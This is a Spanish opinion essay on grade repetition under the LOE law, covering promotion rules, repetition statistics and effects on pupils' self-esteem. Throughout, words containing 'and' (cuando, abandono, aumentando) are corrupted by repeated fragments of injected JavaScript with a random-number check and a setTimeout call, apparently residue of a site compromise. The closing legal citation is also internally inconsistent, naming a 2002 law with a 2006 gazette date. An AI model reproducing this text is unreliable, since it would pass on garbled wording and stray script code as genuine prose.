REPETIR CURSO… ¿UNA MEDIDA EFICAZ?

Autora: Patricia García Benítez 

          Si nos preguntamos cómo establece la LOE la decisión de promoción del alumnado hay que decir que será una medida adoptada de forma colegiada por el conjunto de profesores del alumno respectivo, atendiendo a la consecución de los objetivos. Los alumnos promocionarán de curso cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando hayan superado los objetivos de las materias cursadas o tengan evaluación negativa en dos materias, como máximo, y repetirán curso cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando tengan evaluación negativa en tres o más materias. Excepcionalmente, podrá autorizarse la promoción de un alumno con evaluación negativa en tres materias cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando el equipo docente considere que la naturaleza de las mismas no le impide seguir con éxito el curso siguiente, se considere que tiene expectativas favorables de recuperación y que dicha promoción beneficiará su evolución académica. Las Administraciones educativas regularán las actuaciones del equipo docente responsable de la evaluación. 

          Repetir curso es una práctica que se toma habitualmente en los centros escolares, sobre todo a medida que aumenta la edad de los alumnos. En los niveles inferiores, podemos encontrar una cifra bastante favorable de los alumnos que se encuentran escolarizados en el nivel educativo que les corresponden: un 94,4% de los alumnos del primer y segundo ciclo de primaria se encuentran en el nivel idóneo. Sin embargo, en el tercer ciclo, el porcentaje disminuye hasta el 85%. Aunque las cifras más alarmantes las encontramos en los últimos niveles de la Educación Secundaria Obligatoria: sólo un 59,4% de los estudiantes de 4º ESO se encuentran en el curso que les corresponde. 

          Es en la etapa de Primaria donde los alumnos van mostrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando las primeras dificultades, lo que hace que se produzca cierto retraso con respecto al grupo-clase. Este es uno de los síntomas que puede desencadenar el posterior fracaso escolar, seguido del abandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andono prematuro de los estudios. 

          España no logra reducir su tasa de fracaso escolar, a diferencia de la Unión Europea, que logró reducir el abandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andono escolar del 15,1 %, que sufría en 2007, a un 14,9%, que llegó en 2010. No obstante, casi ocho de cada diez profesores considera que repetir curso es una medida insuficiente para erradicar este fracaso escolar que crece año tras año. A esto hay que añadir que los padres y madres consideran que sus hijos necesitan más apoyo y refuerzo por parte de sus maestros, para conseguir, al finalizar el curso escolar, los objetivos establecidos en el mismo. 

          Por mi parte, considero que repetir curso tiene sus ventajas e inconvenientes. Por un lado, es un proceso que ayuda a los alumnos que necesitan más tiempo para madurar a adquirir los conocimientos correspondientes para su nivel educativo; pero, por otro lado, que el niño abandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andone su grupo-clase, el entorno que le rodeaba habitualmente, a sus compañeros… puede suponer  cierto desequilibrio durante un tiempo. Cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando el escolar repite curso puede vivir una situación de fracaso al ver que sus compañeros promocionan mientras él se queda estancado en el mismo nivel. Esto puede derivar a una disminución del autoconcepto: Si el alumno tiene un autoconcepto bajo por el fracaso escolar, este se multiplica a causa de la no promoción. Los estudios clínicos demuestran que se produce una pérdida de confianza en sí mismos, aumentandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando a su vez el sentimiento de inferioridad. 

          A este aspecto se puede añadir que el alumno no tenga una adecuada integración en su nuevo curso, aunque considero que la situación de los alumnos repetidores es la contraria, puesto que suelen ser bien recibidos por sus nuevos compañeros, en algunos casos, hasta se les admira por ser los más veteranos, tener un año más de edad, conocer el temario del curso… pudiendo, inclusive, liderar el nuevo grupo, aunque todos estos elementos van a estar muy condicionados por las habilidades sociales que tenga cada alumno, puesto que a un niño con problemas, que no tenga la capacidad de relacionarse con sus compañeros, le puede resultar esta situación bastante desagradable. 

          En el caso de los alumnos de Educación Primaria, los padres se lo toman mucho peor que con los alumnos de Educación Secundaria. Es importante, respecto a esto que, tanto familias como maestros, no le hagan ver al alumno la repetición de curso como un castigo, sino como una dificultad que es importante superar. Considero que lo más positivo es razonar con ellos y quedarles bastante claro que repetir curso no significa tomarse el año de vacaciones, sino que se le da una nueva oportunidad de aprovechar el tiempo y comprender aquello que no consiguieron entender en el año anterior. 

          De lo que sí estoy convencida es de que la evaluación debería ser continuada, y no que se tomaran las medidas solo al final del curso, ya que repetir curso no es, para todos los alumnos, el método más adecuado para que mejoren sus resultados. 

Legislación: 

  • Ley Orgánica 2/2002, de 3 de mayo, de Educación, Boletín Oficial del Estado, número 106 de 4/5/2006, páginas 17158 a 1720 

 

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